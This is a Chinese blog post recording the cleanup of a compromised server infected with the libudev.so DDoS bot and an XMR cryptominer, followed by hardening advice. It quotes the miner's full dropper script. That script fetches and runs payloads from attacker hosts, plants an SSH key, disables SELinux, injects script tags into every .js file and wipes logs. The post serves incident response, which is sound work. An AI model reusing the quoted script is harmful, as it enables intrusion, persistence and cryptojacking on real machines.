查殺 libudev.so 和 XMR 挖礦程序記錄

breach

image.png

這兩天使用的公網(wǎng)服務(wù)器被入侵了靴庆,而且感染了不止一種病毒:一種是 libudev.so,是 DDoS 的客戶端,現(xiàn)象就是不停的向外網(wǎng)發(fā)包,也就是超目標(biāo)發(fā)起 DDoS 攻擊梁呈;另外一種是挖礦程序汗茄,除了發(fā)包之外,還會造成很高的 CPU 負(fù)載坎炼。下面記錄一下病毒的行為和查殺方法。

1. libudev.so

1.1 病毒特征

這種病毒的特征還是很明顯的,進(jìn)程列表中會出現(xiàn)很多名字很奇怪的進(jìn)程蛤奥,如下所示:

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND       
16430 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 qfurpuznoegtbv
16429 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 ygqickkj      
16426 root      20   0    1408   1200    480 S   0.0  0.0   0:00.00 fuohkudjxn    
16423 root      20   0    1408   1200    480 S   0.0  0.0   0:00.00 haewibkygwtd  
16418 root      20   0    1408   1204    480 S   0.0  0.0   0:00.00 guzajbbrdjws  
......
 8421 root      20   0   27012   1248    480 S   0.3  0.0   0:05.53 urdivg  

除此之外還會在修改 /etc/crontab 和新增文件 /etc/cron.hourly/gcc.sh 來啟動定時任務(wù)。

/etc/cron.hourly/gcc.sh 內(nèi)容如下:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

這個腳本的內(nèi)容大概是打開網(wǎng)卡僚稿,然后啟動 libudev.so凡桥。

該程序還會同時啟動多個進(jìn)程來監(jiān)控 libudev.so 進(jìn)程是否被殺掉,如果被關(guān)掉了蚀同,會再把 libudev.so 拉起來缅刽,而且這個監(jiān)控進(jìn)程為了防止備關(guān)掉,還會不停的變換自己的進(jìn)程名和進(jìn)程號蠢络,這就給查殺帶來了更大的難度衰猛。

1.2 查殺方法

首先刪除 /etc/crontab 文件中的定時任務(wù),并保護(hù)該文件不再被病毒修改:

$ sudo chattr +i /etc/crontab

然后定位病毒的主進(jìn)程刹孔,這需要通過 top 命令查看啡省,往往 CPU 占用率最高的進(jìn)程就是了,在我的例子中 8421 就是。定位后讓其暫停執(zhí)行卦睹,這時網(wǎng)絡(luò)發(fā)包就會停下來了畦戒,同時也不會再不停的生成新進(jìn)程了。

$ sudo kill -stop 8421

接下來解決病毒產(chǎn)生的自啟動文件结序,注意:具體的文件名稱可能會有所不同障斋,大家要根據(jù)自己的情況對應(yīng)修改,領(lǐng)外 /etc/rc*.d/ 的 S01* 文件都是指向 /etc/init.d/ 里的啟動腳本的軟鏈接徐鹤,而且是從 rc1.d 一直到 rc5.d 中都有垃环,因為是軟鏈接,也可以不用刪除返敬。

$ rm -r /etc/init.d/yjrfdbdkfs
$ rm -r /etc/rc1.d/S01yjrfdbdkfs
......

病毒啟動腳本中調(diào)用的可執(zhí)行文件也要刪掉遂庄,文件存放在 /bin/usr/bin 目錄下,和啟動腳本的名字是一致的劲赠,另外大家要留意一下是否有其他文件也被做了篡改涛目,可以用時間倒序排列這兩個目錄下的文件,日期很新的都很有可能是被修改過的经磅,都需要刪除泌绣。下面這個例子中,dsxictdfoedxaj 文件明顯就是有問題的预厌。

$ ls -lrt /bin/
......
-rwxr-xr-x 1 root root   23152 May 14 12:42 kill
lrwxrwxrwx 1 root root      20 Jun 11 12:37 mt -> /etc/alternatives/mt
lrwxrwxrwx 1 root root      24 Jun 11 12:37 netcat -> /etc/alternatives/netcat
lrwxrwxrwx 1 root root      20 Jun 11 12:37 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root  562346 Oct 24 13:25 dsxictdfoedxaj
$ rm -r dsxictdfoedxaj

$ ls -lrt /usr/bin/
......
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs
-rwxr-xr-x 1 root root  562346 Oct 24 11:32 yjrfdbdkfs.sh
$ rm -r /usr/bin/yjrfdbdkfs*

病毒在 /etc/cron.hourly/ 目錄下產(chǎn)生的定時任務(wù)文件也要刪掉阿迈,

$ rm -r /etc/cron.hourly/*.sh

最后,刪掉 libudev.so 轧叽,再殺掉進(jìn)程就算是大功告成了:

$ sudo rm -r /lib/libudev.so*
$ sudo kill -9 8421

2. XMR 挖礦程序

2.1 病毒特征

第二種病毒是門羅幣(XMR)挖礦程序苗沧,門羅幣似乎是今年年初漲得很快,所以用病毒入侵挖礦的手法也就出現(xiàn)了炭晒,病毒主要是通過下載腳本待逞,運行后下載并啟動挖礦程序來工作,腳本的內(nèi)容如下网严,關(guān)于腳本的代碼分析見于:XMR惡意挖礦案例簡析识樱,里面講的非常詳細(xì)。

# cat /etc/shz.sh 
#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
    then
        pkill zjgw
        chattr -i /etc/shz.sh
        rm -f /etc/shz.sh
        chattr -i /tmp/shz.sh
        rm -f /tmp/shz.sh
        chattr -i  /etc/gmbpr
        rm -f /etc/gmbpr
    else
        echo "ok"
fi
if [ -f "$rtdir" ]
    then
        echo "goto 1" >> /etc/gmbpr2
        grep -q "46j2h" /etc/config.json
        if [ $? -eq 0 ];
            then
                echo "config ok"
            else
                chattr -i /etc/config.json
                rm -f /etc/config.json
        fi
        chattr -i $cont
        if [ -f "$bbdir" ]
            then
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
            else
                [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
        fi
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys
        [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /etc
                outip=`url icanhazip.com`
                ip=`echo ${outip//./o}`
                if [ -z "$ip" ]; then
                    outip=`curl icanhazip.com`
                    ip=`echo ${outip//./o}`
                fi 
                if [ -z "$ip" ]; then
                    ip="unknow"
                fi
                filesize=`ls -l zigw | awk '{ print $5 }'`
                cfg="/etc/config.json"
                file="/etc/zigw"
                if [ -f "$cfg" ]
                    then
                        echo "exists config"
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json
                        fi
                fi
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /etc/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        fi
                fi
                chmod 777 zigw
                sed -i "s/unknow/${ip}/g" config.json
                sleep 5s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /etc/zigw
        chattr +i /etc/zigw
        chmod 777 /etc/shz.sh
        chattr +i /etc/shz.sh
        shdir='/etc/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh
                fi
                sh /etc/shz.sh
        fi
    else
        echo "goto 1" > /tmp/gmbpr2
        chattr -i $cont
        [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir}
        ps -fe|grep zigw |grep -v grep
        if [ $? -ne 0 ]
            then
                cd /tmp
                outip=`url icanhazip.com`
                ip=`echo ${outip//./o}`
                if [ -z "$ip" ]; then
                    outip=`curl icanhazip.com`
                    ip=`echo ${outip//./o}`
                fi 
                if [ -z "$ip" ]; then
                    ip="unknow"
                fi
                filesize=`ls -l zigw | awk '{ print $5 }'`
                cfg="/tmp/config.json"
                file="/tmp/zigw"
                if [ -f "$cfg" ]
                    then
                        echo "exists config"
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json
                        fi
                fi
                if [ -f "$file" ]
                    then
                        if [ "$filesize" -ne "1467080" ]
                            then
                                chattr -i /tmp/zigw
                                rm -f zigw
                                if [ -f "$bbdir" ]
                                then
                                    curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                                elif [ -f "$bbdira" ]
                                then
                                    url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                                elif [ -f "$ccdir" ]
                                then
                                    wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                elif [ -f "$ccdira" ]
                                then
                                    get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                                fi
                        fi
                    else
                        if [ -f "$bbdir" ]
                        then
                            curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                        elif [ -f "$bbdira" ]
                        then
                            url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw
                        elif [ -f "$ccdir" ]
                        then
                            wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        elif [ -f "$ccdira" ]
                        then
                            get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw
                        fi
                fi
                chmod 777 zigw
                sed -i "s/unknow/${ip}/g" config.json
                sleep 5s
                ./zigw
            else
                echo "runing....."
        fi
        chmod 777 /tmp/zigw
        chattr +i /tmp/zigw
        chmod 777 /tmp/shz.sh
        chattr +i /tmp/shz.sh
        shdir='/tmp/shz.sh'
        if [ -f "$shdir" ]
            then
                echo "exists shell"
            else
                if [ -f "$bbdir" ]
                then
                    curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$bbdira" ]
                then
                    url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh
                elif [ -f "$ccdir" ]
                then
                    wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
                elif [ -f "$ccdira" ]
                then
                    get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh
                fi 
                sh /tmp/shz.sh
        fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

2.2 查殺方法

病毒的工作方法和上一個是類似的震束,也是會加載一個任務(wù)怜庸,并啟動多個進(jìn)程,互相監(jiān)控和保護(hù)垢村,只是細(xì)節(jié)有些不同割疾。

該病毒定時任務(wù)是寫進(jìn)了文件:/var/spool/cron/root,需要對應(yīng)刪除里面的內(nèi)容嘉栓。

然后要刪除病毒的啟動腳本:

$ sudo rm /etc/shz.sh

找到病毒的主進(jìn)程(找到主進(jìn)程的方式和之前也差不多宏榕,找 CPU 占用率最高的進(jìn)程就可以了拓诸。),并停掉:

$ sudo kill -stop 23701 24192

刪除主進(jìn)程的配置文件和可執(zhí)行文件:

$ sudo rm /etc/conf.json
$ sudo rm /etc/zjgw

刪除其他病毒添加的文件:

$ sudo rm /etc/conf.n
$ sudo rm /etc/zaker

最后殺掉進(jìn)程即可:

$ sudo kill -9 23701 24192

另外 /tmp 目錄下也會有一些殘留文件麻昼,一并刪除吧:

# ll /tmp/
total 40
drwxrwxrwt  8 root root 4096 Oct 24 03:10 ./
drwxr-xr-x 24 root root 4096 Oct 23 06:18 ../
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .ICE-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .Test-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .X11-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .XIM-unix/
drwxrwxrwt  2 root root 4096 Sep 26 10:38 .font-unix/
-rwxr-xr-x  1 root root    5 Oct 18 13:48 gates.lod*
-rwxr-xr-x  1 root root    5 Oct 18 13:48 moni.lod*
drwx------  3 root root 4096 Oct 18 13:47 systemd-private-8292a854ab55417a91c7b42f6360aa75-systemd-timesyncd.service-dTAzr3/
-rw-r--r--  1 root root    0 Oct 18 13:49 tmp.l

# rm gates.lod moni.lod tmp.l

3 總結(jié)

本次有多臺服務(wù)器感染病毒奠支,造成了不小的影響,主要的問題是因為 root 用戶使用了強(qiáng)度較弱的口令涌献,同時在公網(wǎng)暴露了 SSH 端口胚宦,另外虛擬機(jī)的基礎(chǔ)鏡像中就已經(jīng)攜帶了病毒首有,造成每個產(chǎn)生的實例啟動后都帶上了病毒燕垃。

所以基礎(chǔ)的安防工作還是要從以下幾個方面入手:

  • 減少公網(wǎng)暴露的端口數(shù)量;
  • 禁止使用 root 用戶進(jìn)行 SSH 登錄井联;
  • 加強(qiáng)用戶口令的強(qiáng)度卜壕;
  • 對基礎(chǔ)鏡像做安全檢查;
  • 加強(qiáng)對線上服務(wù)的監(jiān)控并設(shè)置告警規(guī)則烙常。

4. 參考資料

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末轴捎,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子蚕脏,更是在濱河造成了極大的恐慌侦副,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,378評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件驼鞭,死亡現(xiàn)場離奇詭異秦驯,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)挣棕,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評論 2 382
  • 文/潘曉璐 我一進(jìn)店門译隘,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人洛心,你說我怎么就攤上這事固耘。” “怎么了词身?”我有些...
    開封第一講書人閱讀 152,702評論 0 342
  • 文/不壞的土叔 我叫張陵厅目,是天一觀的道長。 經(jīng)常有香客問我法严,道長损敷,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,259評論 1 279
  • 正文 為了忘掉前任渐夸,我火速辦了婚禮嗤锉,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘墓塌。我一直安慰自己瘟忱,他們只是感情好奥额,可當(dāng)我...
    茶點故事閱讀 64,263評論 5 371
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著访诱,像睡著了一般垫挨。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上触菜,一...
    開封第一講書人閱讀 49,036評論 1 285
  • 那天九榔,我揣著相機(jī)與錄音,去河邊找鬼涡相。 笑死哲泊,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的催蝗。 我是一名探鬼主播切威,決...
    沈念sama閱讀 38,349評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼丙号!你這毒婦竟也來了先朦?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,979評論 0 259
  • 序言:老撾萬榮一對情侶失蹤犬缨,失蹤者是張志新(化名)和其女友劉穎喳魏,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體怀薛,經(jīng)...
    沈念sama閱讀 43,469評論 1 300
  • 正文 獨居荒郊野嶺守林人離奇死亡刺彩,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 35,938評論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了乾戏。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片迂苛。...
    茶點故事閱讀 38,059評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖鼓择,靈堂內(nèi)的尸體忽然破棺而出三幻,到底是詐尸還是另有隱情,我是刑警寧澤呐能,帶...
    沈念sama閱讀 33,703評論 4 323
  • 正文 年R本政府宣布念搬,位于F島的核電站,受9級特大地震影響摆出,放射性物質(zhì)發(fā)生泄漏朗徊。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 39,257評論 3 307
  • 文/蒙蒙 一偎漫、第九天 我趴在偏房一處隱蔽的房頂上張望爷恳。 院中可真熱鬧,春花似錦象踊、人聲如沸温亲。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,262評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽栈虚。三九已至袖外,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間魂务,已是汗流浹背曼验。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留粘姜,地道東北人鬓照。 一個月前我還...
    沈念sama閱讀 45,501評論 2 354
  • 正文 我出身青樓,卻偏偏與公主長得像相艇,于是被迫代替她去往敵國和親颖杏。 傳聞我的和親對象是個殘疾皇子纯陨,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 42,792評論 2 345

推薦閱讀更多精彩內(nèi)容